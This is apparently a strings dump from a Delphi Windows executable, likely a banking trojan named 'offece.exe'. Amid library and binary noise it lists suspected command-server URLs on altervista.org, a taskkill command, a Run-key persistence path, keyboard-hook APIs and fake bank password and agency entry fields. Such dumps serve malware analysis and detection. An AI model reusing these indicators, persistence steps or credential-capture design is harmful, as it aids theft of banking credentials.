.rdf=application/rdf xml
.rjs=application/vnd.rn-realsystem-rjs
.rm=application/vnd.rn-realmedia
.rmf=application/vnd.rmf
.rmp=application/vnd.rn-rn_music_package
.rmx=application/vnd.rn-realsystem-rmx
.rnx=application/vnd.rn-realplayer
.rpm=application/x-redhat-package-manager
.rsml=application/vnd.rn-rsml
.rtsp=application/x-rtsp
.rss=application/rss xml
.scm=application/x-icq-scm
.ser=application/java-serialized-object
.scd=application/x-msschedule
.sda=application/vnd.stardivision.draw
.sdc=application/vnd.stardivision.calc
.sdd=application/vnd.stardivision.impress
.sdp=application/x-sdp
.setpay=application/set-payment-initiation
.setreg=application/set-registration-initiation
.sh=application/x-sh
.shar=application/x-shar
.shw=application/presentations
.sit=application/x-stuffit
.sitx=application/x-stuffitx
.skd=application/x-koan
.skm=application/x-koan
.skp=application/x-koan
.skt=application/x-koan
.smf=application/vnd.stardivision.math
.smi=application/smil
.smil=application/smil
.spl=application/futuresplash
.ssm=application/streamingmedia
.sst=application/vnd.ms-pki.certstore
.stc=application/vnd.sun.xml.calc.template
.std=application/vnd.sun.xml.draw.template
.sti=application/vnd.sun.xml.impress.template
.stl=application/vnd.ms-pki.stl
.stw=application/vnd.sun.xml.writer.template
.svi=application/softvision
.sv4cpio=application/x-sv4cpio
.sv4crc=application/x-sv4crc
.swf=application/x-shockwave-flash
.swf1=application/x-shockwave-flash
.sxc=application/vnd.sun.xml.calc
.sxi=application/vnd.sun.xml.impress
.sxm=application/vnd.sun.xml.math
.sxw=application/vnd.sun.xml.writer
.sxg=application/vnd.sun.xml.writer.global
.tar=application/x-tar
.tcl=application/x-tcl
.tex=application/x-tex
.texi=application/x-texinfo
.texinfo=application/x-texinfo
.tbz=application/x-bzip-compressed-tar
.tbz2=application/x-bzip-compressed-tar
.tgz=application/x-compressed-tar
.tlz=application/x-lzma-compressed-tar
.tr=application/x-troff
.trm=application/x-msterminal
.troff=application/x-troff
.tsp=application/dsptype
.torrent=application/x-bittorrent
.ttz=application/t-time
.txz=application/x-xz-compressed-tar
.udeb=application/x-debian-package
.uin=application/x-icq
.urls=application/x-url-list
.ustar=application/x-ustar
.vcd=application/x-cdlink
.vor=application/vnd.stardivision.writer
.vsl=application/x-cnet-vsl
.wcm=application/vnd.ms-works
.wb1=application/x-quattropro
.wb2=application/x-quattropro
.wb3=application/x-quattropro
.wdb=application/vnd.ms-works
.wks=application/vnd.ms-works
.wmd=application/x-ms-wmd
.wms=application/x-ms-wms
.wmz=application/x-ms-wmz
.wp5=application/wordperfect5.1
.wpd=application/wordperfect
.wpl=application/vnd.ms-wpl
.wps=application/vnd.ms-works
.wri=application/x-mswrite
.xfdf=application/vnd.adobe.xfdf
.xls=application/x-msexcel
.xlb=application/x-msexcel
.xpi=application/x-xpinstall
.xps=application/vnd.ms-xpsdocument
.xsd=application/vnd.sun.xml.draw
.xul=application/vnd.mozilla.xul xml
.zoo=application/x-zoo
.zip=application/x-zip-compressed
.wml=text/vnd.wap.wml
.wmlc=application/vnd.wap.wmlc
.wmls=text/vnd.wap.wmlscript
.wmlsc=application/vnd.wap.wmlscriptc
.asm=text/x-asm
.pas=text/x-pascal
.cs=text/x-csharp
.cpp=text/x-c  src
.cxx=text/x-c  src
.cc=text/x-c  src
.hpp=text/x-c  hdr
.hxx=text/x-c  hdr
.hh=text/x-c  hdr
.java=text/x-java
.css=text/css
.js=text/javascript
.htm=text/html
.html=text/html
.ls=text/javascript
.mocha=text/javascript
.shtml=server-parsed-html
.sgm=text/sgml
.sgml=text/sgml
C:\Builds\TP\indysockets\lib\protocols\IdGlobalProtocols.pas
HTTP-EQUIV
()<>@,;:\"./
()<>@,;:\"/[]?=
()<>@,;:\"/[]?={}
TIdEncoder3to4.Encode: Calculated length exceeded (expected
C:\Builds\TP\indysockets\lib\protocols\IdCoder3to4.pas
TIdEncoder3to4.Encode: Calculated length not met (expected
X-HTTP-Method-Override
Mozilla/3.0 (compatible; Indy Library)
%d-%d
C:\Builds\TP\indysockets\lib\core\IdIOHandler.pas
255.255.255.255
0.0.0.0
C:\Builds\TP\indysockets\lib\core\IdIOHandlerStack.pas
0.0.0.1
C:\Builds\TP\indysockets\lib\core\IdThread.pas
C:\Builds\TP\indysockets\lib\core\IdScheduler.pas
C:\Builds\TP\indysockets\lib\protocols\IdZLibCompressorBase.pas
*<>#%"{}|\^[]`
*<>#%"{}|\^[]` 
HTTPS
.local
HttpOnly
C:\Builds\TP\indysockets\lib\protocols\IdCookie.pas
HTTPONLY
$Port
COMMENTURL
PORT
WINDOWS
C:\Builds\TP\indysockets\lib\protocols\IdHeaderCoderIndy.pas
()[]<>:;.,@\"
Content-Disposition: form-data; name="%s"
; filename="%s"
Content-Type: %s
; charset="%s"
Content-Transfer-Encoding: %s
libeay32.dll
ssleay32.dll
libssl32.dll
C:\Builds\TP\indysockets\lib\protocols\IdSSLOpenSSLHeaders.pas
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_PrivateKey
SSL_CTX_use_certificate
SSL_CTX_use_certificate_file
SSL_get_peer_certificate
SSL_CTX_set_default_passwd_cb
SSL_CTX_set_default_passwd_cb_userdata
SSL_CTX_check_private_key
X509_STORE_add_cert
X509_STORE_CTX_get_current_cert
i2d_DSAPrivateKey
d2i_DSAPrivateKey
d2i_PrivateKey
d2i_PrivateKey_bio
DES_set_key
_ossl_old_des_set_key
RSA_generate_key
RSA_check_key
RSA_generate_key_ex
i2d_PrivateKey_bio
i2d_RSAPrivateKey
d2i_RSAPrivateKey
i2d_RSAPublicKey
d2i_RSAPublicKey
i2d_PrivateKey
i2d_NETSCAPE_CERT_SEQUENCE
X509_get_default_cert_file
X509_get_default_cert_file_env
X509_set_pubkey
X509_REQ_set_pubkey
PEM_read_bio_RSAPrivateKey
PEM_read_bio_RSAPublicKey
PEM_read_bio_DSAPrivateKey
PEM_read_bio_PrivateKey
PEM_read_bio_NETSCAPE_CERT_SEQUENCE
PEM_write_bio_RSAPublicKey
PEM_write_bio_DSAPrivateKey
PEM_write_bio_PrivateKey
PEM_write_bio_NETSCAPE_CERT_SEQUENCE
PEM_write_bio_PKCS8PrivateKey
EVP_PKEY_type
EVP_PKEY_new
EVP_PKEY_free
EVP_PKEY_assign
C:\Builds\TP\indysockets\lib\protocols\IdSSLOpenSSL.pas
secur32.dll
security.dll
C:\Builds\TP\indysockets\lib\protocols\IdHTTP.pas
application/x-www-form-urlencoded
https
HTTP/1.0 200 OK
HTTP/
\StringFileInfo\0%x0%x\%s
http://mfox8.altervista.org/
http://host02.altervista.org/
http://host03.altervista.org/
http://host04.altervista.org/
http://host05.altervista.org/
http://host06.altervista.org/
http://host07.altervista.org/
http://host08.altervista.org/
http://host09.altervista.org/
http://host10.altervista.org/
offece.txt
taskkill /f /im "offece.exe"
cmd /c "
Software\Microsoft\Windows\CurrentVersion\Run
offece.exe
Kernel32.dll
Open SSL Support DLL Delphi and C  Builder interface
http://www.indyproject.org/
1993 - 2009
Handshake DonepUnsupported object type. You can assign only one of the following types or their descendants: TStrings, TStream.
Unsupported operation./Could not encode header data using charset "%s"
#Could not load key, check password.
SSL status: "%s"
%s Alert
%s Read Alert
%s Write Alert
Unknown error#SSPI %s returns error #%d(0x%x): %s0SSPI interface has failed to initialise properly
Unknown credentials use!Do AcquireCredentialsHandle first"CompleteAuthToken is not supported$Error accepting connection with SSL.
Error creating SSL context. Could not load root certificate.
Could not load certificate.
DThe supplied message is incomplete. The signature was not verified.lThe credentials supplied were not complete, and could not be verified. The context could not be initialized.1The buffers supplied to a function was too small.
The credentials supplied were not complete, and could not be verified. Additional information can be returned from the context.4The context data must be renegotiated with the peer.'The target principal name is incorrect.:There is no LSA mode context associated with this context.8The clocks on the client and server machines are skewed.;The certificate chain was issued by an untrusted authority.7The message received was unexpected or badly formatted.;An unknown error occurred while processing the certificate.%The received certificate has expired.*The specified data could not be encrypted.*The specified data could not be decrypted.YThe client and server cannot communicate, because they do not possess a common algorithm.
The security context could not be established due to a failure in the requested quality of service (e.g. mutual authentication or delegation).-The token supplied to the function is invalid^The security package is not able to marshall the logon buffer, so the logon attempt has failedNThe per-message Quality of Protection is not supported by the security package?The security context does not allow impersonation of the client
The logon attempt failed;The credentials supplied to the package were not recognized4No credentials are available in the security packageCThe message or signature supplied for verification has been altered8The message supplied for verification is out of sequence3No authority could be contacted for authentication.UThe function completed successfully, but must be called again to complete the contextEThe function completed successfully, but CompleteToken must be calledtThe function completed successfully, but both CompleteToken and this function must be called to complete the contextsThe logon was completed, but no network authority was available. The logon was made using locally known information-The requested security package does not exist2The context has expired and can no longer be used.
Unknown Protocol(Request method requires HTTP version 1.1KUnsupported hash algorithm. This implementation supports only MD5 encoding.
The handle specified is invalid'The function requested is not supported.The specified target is unknown or unreachable0The Local Security Authority cannot be contacted-The requested security package does not exist6The caller is not the owner of the desired credentialsBThe security package failed to initialize, and cannot be installed
Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.$Cannot change a connected IOHandler.%No IOHandler of type %s is installed.
Reply Code is not valid: %s
Reply Code already exists: %s
IOHandler value is not valid'Algorithm %s not permitted in FIPS mode
Command not supported.
Address type not supported."%d: Circular links are not allowed"Not enough data in buffer. (%d/%d)
File "%s" not found
Object type not supported.
End of stream: Class %s at %d)UDP is not support in this SOCKS version.
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.
Invalid Port Range (%d - %d)
%s is not a valid service.
%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Operation would block.
Operation now in progress.
Operation already in progress.
Socket operation on non-socket.
Protocol not supported.
Socket type not supported."Operation not supported on socket.
Protocol family not supported.0Address family not supported by protocol family.
- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)
Resolving hostname %s.
Connecting to %s.
Socket Error # %d
Alt  Clipboard does not support Icons Operation not supported on selected printer.There is no default printer currently selected/Menu '%s' is already being used by another form
%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'
No help found for context %d
No help found for %s
Unsupported clipboard format
Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread2Cannot call Start on a running or suspended thread;Cannot call CheckTerminated on an externally created thread9Cannot call SetReturnValue on an externally create thread The specified file was not found$No help viewer that supports filters7String index out of range (%d). Must be >= 1 and <= %drHigh surrogate char without a following low surrogate char at index: %d. Check that the string is encoded properlyrLow surrogate char without a preceding high surrogate char at index: %d. Check that the string is encoded properly2Length of Strings and Objects arrays must be equal
Invalid Timeout value: %s#''%s'' is not a valid integer value
List index out of bounds (%d) Out of memory while expanding memory stream)%s has not been registered as a COM class
Error reading %s%s%s: %s
Failed to create key %s
Failed to get data for '%s'
Failed to set data for '%s'
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Thread creation error: %s
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot open file "%s". %s
Invalid file name - %s
Invalid stream format$''%s'' is not a valid component name
Invalid data type for '%s' List capacity out of bounds (%d)
List count out of bounds (%d)
Invalid destination array"Character index out of bounds (%d)
Start index out of bounds (%d)
Invalid count (%d)
Invalid destination index (%d)
Ancestor for '%s' not found
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
External exception %x
Interface not supported
Object lock not owned(Monitor support function not initialized
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
Invalid variant operation
Invalid NULL variant operation%Invalid variant operation (%s%.8x)
%s,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Operation aborted(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
'%d.%d' is not a valid timestamp
I/O error %d
Integer overflow Invalid floating point operation

offece.exe_1276:


.text
`.itext
`.data
.idata
.didata
.rdata
@.reloc
B.rsrc
biClrImportant
tagMSG
Windows
HKEY
TWMKey
KeyData
etNoMonitorSupportException
TArray
ENoMonitorSupportException
ENoMonitorSupportException0
TArray
TArray
csshiftjis
windows-936
windows-1250
windows-1251
windows-1252
windows-1253
windows-1254
windows-1255
windows-1256
windows-1257
windows-1258
windows-874
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
TArray
grfLocksSupported
Operator
EVariantBadIndexError
ssShift
htKeyword
EInvalidOperation
TList.TDirection
AOperator
TThread.TSynchronizeRecord
TOperation
Operation
FOnExecute
OnExecute
TArray
TArray
TList.Sort$876$0$Intf@
TList.Sort$876$ActRec
Uh.JD
$TComponent.FindComponent$1499$0$Intf@
$TComponent.FindComponent$1499$ActRec
TRegKeyInfo
NumSubKeys
MaxSubKeyLen
FCurrentKey
FRootKey
FCloseRootKey
CloseKey
CreateKey
DeleteKey
GetKeyInfo
GetKeyNames
HasSubKeys
KeyExists
LoadKey
MoveKey
OpenKey
OpenKeyReadOnly
ReplaceKey
RestoreKey
SaveKey
UnLoadKey
CurrentKey\
LastErrorMsg
RootKey\
RootKeyName
EInvalidGraphicOperation
SupportsPartialTransparency
SupportsClipboardFormat
MonochromexVE
IsShortCut
FHelpKeyword
HelpKeyword
igoParentPassthrough
FAlwaysShowDragImages
AlwaysShowDragImages
toFlickFallbackKeys
'TCustomGestureEngine.TGestureEngineFlag
(TCustomGestureEngine.TGestureEngineFlags
Supported
TKeyEvent
TKeyPressEvent
FOnKeyDown
FOnKeyPress
FOnKeyUp
IsHintMsg
FNativeWheelSupport
FWheelSupportMessage
thHeaderItemLeftPressed
tsArrowBtnLeftPressed
ttbThumbLeftPressed
lrMonoChrome
FAutoHotkeys
RethinkHotkeys
AutoHotkeys|
AutoHotkeys
UnderstandsKeyword
poPortrait
APort
Port
FPasswordChar
PasswordChar
OnKeyDown
OnKeyPress$
OnKeyUp
FProportional
Proportional
ssHotTrack
TWindowState
poProportional
fsShowing
FWindowState
FKeyPreview
WantChildKey
KeyPreview
WindowState
WindowState4
FBiDiKeyboard
FNonBiDiKeyboard
FEnumAllWindowsOnActivateHint
FOnActionExecute
Keyword
EnumAllWindowsOnActivateHint\
BiDiKeyboard\
NonBiDiKeyboard
OnActionExecute
AMsg
EIdCanNotBindPortInRange
EIdInvalidPortRange
CheckIPVersionSupport
WSGetServByPort
APortNumber
VPort
IdStackWindows
TIdSocketListWindows4
TIdSocketListWindowsh
TIdStackWindowsg
ReceiveMsg
WSTranslateSocketErrorMsg
SupportsIPv6
TIdStackWindows@
EIdIPVersionUnsupportedlGN
EIdIPVersionUnsupportedDGN
ReceiveMsg,
IPAsString
QuoteHTTP
EIdPortRequired
EIdPortRequired|TO
EIdTCPConnectionError
EIdObjectTypeNotSupported
ftpTransfer
ftpReady
ftpAborted
FPort
VMsgEnd
FClientPortMin
FClientPortMax
FPeerPort
ClientPortMin
ClientPortMax\
PeerPort
"EIdTransparentProxyUDPNotSupported
FPassword
OpenUDP
CloseUDP
RecvFromUDP
SendToUDPm
Password
FBoundPort
FBoundPortMax
FBoundPortMin
TIdTCPClientCustom'
TIdTCPClientCustomD
IdTCPClient
BoundPort
BoundPortMax
BoundPortMin
TIdTCPClient
%EIdSocksUDPNotSupportedBySOCKSVersion
saUsernamePassword
FUDPSocksAssociation
SendToUDP9
UhTCP
FDefaultPort
DefaultPort
FLastCmdResult
TIdTCPConnectionB
RaiseExceptionForLastCmdResult
SendCmd
SendCmdf
TIdTCPConnectionT{P
IdTCPConnection
LastCmdResult
TIdTCPStream;
TIdTCPStream
IdTCPStream
AMsgEnd
fPassThrough
PassThrough
MakeFTPSvrPort
MakeFTPSvrPasv
FURL
utNoTLSSupport
FRegularProtPort
FImplicitTLSProtPort
FOnTLSNegCmdFailed
SupportsTLS
OnTLSNegCmdFailed
TIdIOHandlerStreamMsgc
TIdIOHandlerStreamMsg
FMsgLineLength
FMsgLineFold
SendMsg
MsgLineLength\
MsgLineFold
FMsgId
FIsMsgSinglePartMime
ProcessHeaders
MsgIdhCO
IsMsgSinglePartMime<'R
TIdSMTPEnhancedCode&
TIdSMTPEnhancedCode
IdReplySMTP
TIdReplySMTP;
TIdReplySMTP
EIdSMTPReplyErrorg
EIdSMTPReplyError
EIdSMTPReply
EIdSMTPReply\RR
EIdSMTPReplyInvalidReplyString
EIdSMTPReplyInvalidClass
TIdSMTPFailedRecipient
FPipeline
TIdSMTPBase2
TIdSMTPBase
IdSMTPBase
PipeLine
LoginSASL
LoginSASLW
TIdSMTPAuthenticationType
IdSMTP
FValidateAuthLoginCapability
TIdSMTP'
TIdSMTP
Port\{R
ValidateAuthLoginCapability
IdHTTPHeaderInfo
ProxyPassword
ProxyPort\
Password\
FMetaHTTPEquiv
TIdMetaHTTPEquivE
ProcessMetaHTTPEquiv
TIdMetaHTTPEquiv|
CompressFTPDeflate
CompressFTPToIO
DecompressFTPFromIO
DecompressFTPDeflate
CompressHTTPDeflate
DecompressHTTPDeflate
URLDecode
URLEncode
Port\
FHttpOnly
HttpOnly\
FCommentURL
FPortList
FRecvPort
FUsePort
CommentURL
PortCount
UsePort
RecvPort
Uh.ZS
AURL
rsa_keygen
dsa_keygen
pub_key
priv_key
PEVP_PKEY`
EVP_PKEY_union
EVP_PKEY
pkey
pkey_type
required_pkey_type
key_len
key_length
AUTHORITY_KEYID
keyid
PAUTHORITY_KEYID
X509_PUBKEY
public_key
PX509_PUBKEY
X509_CERT_AUX
PX509_CERT_AUXD
cert_info
ex_nscert
get_cert_methods
cert_crl
ppem_password_cb
key_arg_length
key_arg
master_key_length
master_key
sess_cert
Ptlsext_ticket_key_cb!
cert_store
default_passwd_callback
default_passwd_callback_userdata
client_cert_cb
extra_certs
max_cert_list
cert
msg_callback
msg_callback_arg
client_cert_engine
tlsext_tick_key_name
tlsext_tick_hmac_key
tlsext_tick_aes_key
tlsext_ticket_key_cb
init_msg
read_key
write_key
key_material_length
key_material
tmp_cert_type
tmp_cert_length
tmp_cert_verify_md
tmp_cert_req
tmp_key_block_length
tmp_key_block
tmp_cert_request
msg_len
w_msg_hdr
r_msg_hdr
sslvrfFailIfNoPeerCert
TCallbackExEvent
TPasswordEvent
TPasswordEventEx
VPassword
Certificate
fsRootCertFile
fsCertFile
fsKeyFile
RootCertFile\
CertFile\
KeyFileXKT
LoadRootCert
LoadCert
KeyFile
fPeerCert
PeerCert rT
fOnGetPassword
fOnGetPasswordEx
OnGetPassword
OnGetPasswordEx8PT
EIdOSSLLoadingRootCertError
EIdOSSLLoadingCertError
EIdOSSLLoadingKeyError
EIdOSSLLoadingKeyErrorhxT
SEC_GET_KEY_FN
KeyVer
pGetKeyFn
pvGetKeyArgument
EXPORT_SECURITY_CONTEXT_FN&
IMPORT_SECURITY_CONTEXT_FN_W(
ExportSecurityContext
ImportSecurityContextW
aPassword
Uh.JU
TIdHTTPConnectionType
IdHTTP
TIdHTTPOption
TIdHTTPOptions
TIdHTTPProtocolVersion
TIdHTTPOnRedirectEvent
TIdHTTPOnHeadersAvailable
FHTTP
TIdHTTPResponse7
TIdHTTPResponse
TIdHTTPRequest5
AHTTP
TIdHTTPRequest
TIdHTTPProtocol;
TIdHTTPProtocol
FHTTPProto
TIdCustomHTTP'
TIdCustomHTTP
MetaHTTPEquiv
HTTPOptions
TIdHTTP
TIdHTTP8fU
EIdHTTPProtocolExceptionn
EIdHTTPProtocolException(kU
fKeyword
EditPass4_1_
EditPass4_2_
EditPass4_3_
EditPass4_4_
EditAg_KeyDown
EditAg_KeyUp
EditCont_KeyDown
EditCont_KeyUp
EditDig_KeyDown
EditDig_KeyUp
ImportPalette
ImportColorTable
ImportDIBColors
ImportColorMap
ExportPalette
rmWindows20
rmWindows256
rmWindowsGray
rmMonochrome
rmQuantizeWindows
TMonochromeLookup7
TMonochromeLookup
Edit01KeyDown
Edit01KeyUp
Edit02KeyDown
Edit02KeyUp
Edit03KeyDown
Edit03KeyUp
Edit04KeyDown
Edit04KeyUp
Edit05KeyDown
Edit05KeyUp
Edit06KeyDown
Edit06KeyUp
Edit07KeyDown
Edit07KeyUp
Edit08KeyDown
Edit08KeyUp
Edit09KeyDown
Edit09KeyUp
Edit10KeyDown
Edit10KeyUp
Edit11KeyDown
Edit11KeyUp
Edit12KeyDown
Edit12KeyUp
Edit13KeyDown
Edit13KeyUp
Edit14KeyDown
Edit14KeyUp
Edit15KeyDown
Edit15KeyUp
Edit16KeyDown
Edit16KeyUp
Edit17KeyDown
Edit17KeyUp
Edit18KeyDown
Edit18KeyUp
Edit19KeyDown
Edit19KeyUp
Edit20KeyDown
Edit20KeyUp
Edit21KeyDown
Edit21KeyUp
Edit22KeyDown
Edit22KeyUp
Edit23KeyDown
Edit23KeyUp
Edit24KeyDown
Edit24KeyUp
Edit25KeyDown
Edit25KeyUp
Edit26KeyDown
Edit26KeyUp
Edit27KeyDown
Edit27KeyUp
Edit28KeyDown
Edit28KeyUp
Edit29KeyDown
Edit29KeyUp
Edit30KeyDown
Edit30KeyUp
Edit31KeyDown
Edit31KeyUp
Edit32KeyDown
Edit32KeyUp
Edit33KeyDown
Edit33KeyUp
Edit34KeyDown
Edit34KeyUp
Edit35KeyDown
Edit35KeyUp
Edit36KeyDown
Edit36KeyUp
Edit37KeyDown
Edit37KeyUp
Edit38KeyDown
Edit38KeyUp
Edit39KeyDown
Edit39KeyUp
Edit40KeyDown
Edit40KeyUp
EditNumSerieSegu_1KeyDown
EditNumSerieSegu_1KeyUp
EditSenhaBroka_KeyDown
Edit40KeyUp
EditAG_KeyDown
EditAG_KeyUp
EditCO_KeyDown
EditCO_KeyUp
EditDI_KeyDown
EditDI_KeyUp
EditAgenciaKeyDown
EditAgenciaKeyUp
Smtp
Generics.Defaults
Generics.Collections
IdCustomTCPServer
IdTCPServer
IdCmdTCPServer
UrlMon
1.2.3
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
#!V!W!"!&!r%!%#%%%'%)%c%e%g%C%
P%S%V%Y%\%
?456789:;<=
!"#$%&'()* ,-./0123
0123456
!"#$%&'()* ,-./0123456789:;<=>?
&'()* ,-./0123456789:;<=>?
oleaut32.dll
advapi32.dll
RegOpenKeyExW
RegCloseKey
user32.dll
kernel32.dll
UnhookWindowsHookEx
SetWindowsHookExW
MsgWaitForMultipleObjectsEx
MsgWaitForMultipleObjects
MapVirtualKeyW
LoadKeyboardLayoutW
GetKeyboardState
GetKeyboardLayoutNameW
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyState
GetKeyNameTextW
EnumWindows
EnumThreadWindows
EnumChildWindows
ActivateKeyboardLayout
msimg32.dll
gdi32.dll
SetViewportOrgEx
version.dll
GetCPInfoExW
GetCPInfo
RegUnLoadKeyW
RegSaveKeyW
RegRestoreKeyW
RegReplaceKeyW
RegQueryInfoKeyW
RegLoadKeyW
RegFlushKey
RegEnumKeyExW
RegDeleteKeyW
RegCreateKeyExW
ole32.dll
comctl32.dll
winspool.drv
winmm.dll
windowscodecs.dll
uxtheme.dll
DWMAPI.DLL
1$1$0,0004080
;%;<;^;{;
2,3R3k3z3
3!3%3)3-3135393=3
< <$<(<,<0<4<
9 9:9`9|9
?#?'? ?/?3?7?;?
:!; ;6;@;
=&>/>=>_?
<$<7<[<`<
=&=-=4=<=[=
0&0.0?0\0~0
0%1S1
8.9=9{9|:
3<3v3}3
7'8>8^8{8
<"<&<8<@<
4 4-4A4U4i4}4
7$75797}7
333333333333333333
33333833
3333339
3333333333333338
:*"*"$3338
3333333
33333333
33333333333
3333333333338
33338?383
333333333333
:*3:"$3338
333333333333333
&-,^*%Â119777->>>#GGG
-?>c2,-;DCC.RRR iii
.FEo600;AAA/QQQ!nnn
0SR}1.-?A??.WWW rrr
2--=@??.WWW www
0UT}2.-<@@?.YYY
-((:@@@*[[[
.**:???*]]]
$%Ñ//(HHH
1%%%"666
)(&,!#.[.:
  (.#&5_/:
786&(('<'/\
11/.(*1O-6}
kkk"SSR.DD>8:;?N47j
<<;!443&--*)''"-##
220",,*%''%)$$  
KWindows
0IdHTTPHeaderInfo
CGenerics.Defaults
 IdTCPServer
 IdSMTPBase
#IdSMTP
Picture.Data
RPq%d
4~.Nn
Font.Charset
Font.Color
Font.Height
Font.Name
Font.Style
Items.Strings
\a.pm
u.Tl!
.Ri[3b
Q.AKY
Fk.wgT
n.pGNq5
>cy.He
9.Em>
gG%u{
'6%dp
b,.HL
CV.SS9
9s%.s
g.APv
.vy$q
-cM}p
%""""!'3
%0X%"""r
%1X%"""""J
kFi%c
.Ko}@
Font.Quality
ON.cj
.LtkHB
.oa&M
ZR"%U
N-8j}
?o.vn
s.nYp3
_s%Fo
S5%uI3F
KJ.cr
.lMMy_
rn
@
u<%uN}]
X%fZl[
\\.lu
?5X%U:
.Jdhi
.MMi1
P.Njh
*Ly.Rmum
q.Me#
y.mYf[^
I.iIs$
".huz
.SNU>
?e.UZ
zTo%C
.Fh#j
.cUh K
=L7T%D
rX.Hc
KKkW.xu
SùK
o.clc
ProxyParams.BasicAuthentication
ProxyParams.ProxyPort
Request.ContentLength
Request.ContentRangeEnd
Request.ContentRangeStart
"Request.ContentRangeInstanceLength
Request.Accept
Request.BasicAuthentication
Request.UserAgent
&Mozilla/3.0 (compatible; Indy Library)
Request.Ranges.Units
Request.Ranges
iphist.dat
tb.wIb$
6BZ.wWK
D)jm.HN
%Dhb}
z.StQ
%DyE"
%.BaW
%Xw[p6
.JbGN
zJ*Url3y
Y%X29
lG.NI
('yd.Tl
nhH%S
o.AR|4z
lr.xe
`.om6
K.Xu>
B.BFJ
ckG.QF
6.eX&vB
B'.wF
D%s<2
j.sXils:
kH%CUc
79:4679;<:<=
98:98:879?>@
<;=<;=546
657>=?<;=
;:<768;:<
>=?65798:
98:435;:<
?>@768:9;
=<>=<>546
:9;879879
:9;98:<;=
:9;98:;:<
768;:<98:
:9;=<><;=
768768:9;
98:98:768
;:<98:;:<
<;=<;=98:
;:<657546
98::9;=<>
324;:<79:
=<>:9;657
:9;?>@768<;=
<;=;:<768
879879657
879>=?<;=
@>>;99866<::><<
<::=;;<::><<
977;99@>>:88866
422;99;99<::;99
977888879>=?
><<=;;755><<
=;;755?==><<
@>>533>>>;;;===
;67>9:>9:;67
><<866:88><<
=;;866@>>=;;643
:88@>>;99===
644;99@>><::
?===;;866<:::88
533?==;99?==
><<:88@>>866=;;
777888777
<;=:9;<;=
;;;777:::
999<<<888:::
999>=?857
<::<::;99
>>>666999
777;;;<<<
<<<777>>>
;:<:9;657
777;;;999
666<<<666
999<<<<;=879
555===999
777888888
777<<<;;;
;:<768=<>
768>=?:9;
999===:::@@@
435<;=768
98:98:;:<435
=<>54698:
;:<657<;=
879:9;<;=
768<;=:9;
768<;=657
<;=87998:
;:<98:98:
;:<879>=?
=<>79:578
777???:::
777===:::
555<;=546
<;=?>@657879
657<;=>>>
?==866=;;755
644<<<:88
222>>>777
879>=?98:
:::;;;888
<<<777:::<<<
888;:<879
879;:<<;=
666=<><;=768
879=<>98:
:::;;;888555
666???999
999<<<666
:::777:::;;;
666;;;888
888;;;<<<
444===888
<<<666999:::
???<<<999
?>@657=<>657879
<;=:9;657
65798:98:879879
:9;:9;:9;:9;
Df.Xz
n.JOK
G.lL`y
E4.fh
Ul%sc
|.ws)
QG.ix
Py%UP
5f.xF
D>%f#
j.urTG>
G.YN8
cC.mj
".Dsf
eE.WD
pN
B,%s"
i.Feu#
fU0%S
!,.lJ
FtPg
f.bsM
.eBQUuC
.Hzy.
k<.mZ
lz.sH
7*_%S
z.Ee>9
.imf"
.ayJc
lh%DO8{
.lJZR
.RM78
U!^.cc
Îz'H<
j%DY(
w.mN&
(.XHB
.mnlW
C).gg
%xqES
.dcEt
.\.mV
D4.GzK}k
yL-%S
%0s!@)
=.JoR
#s|%Ut
%DUy=`Ex
BZ
I3vhG%u7X
kI %f
T.Rdmd\>
.SGB&FK
-j6}9
.sv4l
2d.gsp3
^.Pm5
#.XZ8
IU~dpY%U
<%c$5
&.Tr{
.BFW3
j.PO,
eaR>%X?
f^%cZ
gH%c# 
.mvD[
r.sq]
qS3.Ib
^.xxUJ
.Dcml
x3.Bkt
.vQi|
>J%sCpTFK@
 U%FU
(.NfcU
D~.ER
kLGUD2.Bt
Wz.of
61.zs
,.lP1
t,?%ft
Z2v%C
c_.pC
.huwqZw
fg-n%U
)^.Tj9
Df|]g<.XEv
$^kx4%f
%X~SGI
>.ESG_
.fh`A
y.cchf\'
-.vJ$
=S~.no
.jY?S
-F\.fwe9d
|[_%SF
=bmsG
z.sFm
7.fso'2
K.XBS,
Kq:#Yj.qC
L.bO6
CVb.oM
rY.kN
%SbTj%
2:.wK
21o%x
.Tb@"GR
L%sexmn
.XTT"
O%u~9
X%f$3
)|e%d
?,Y%d
.nUtG%
*%X;w2
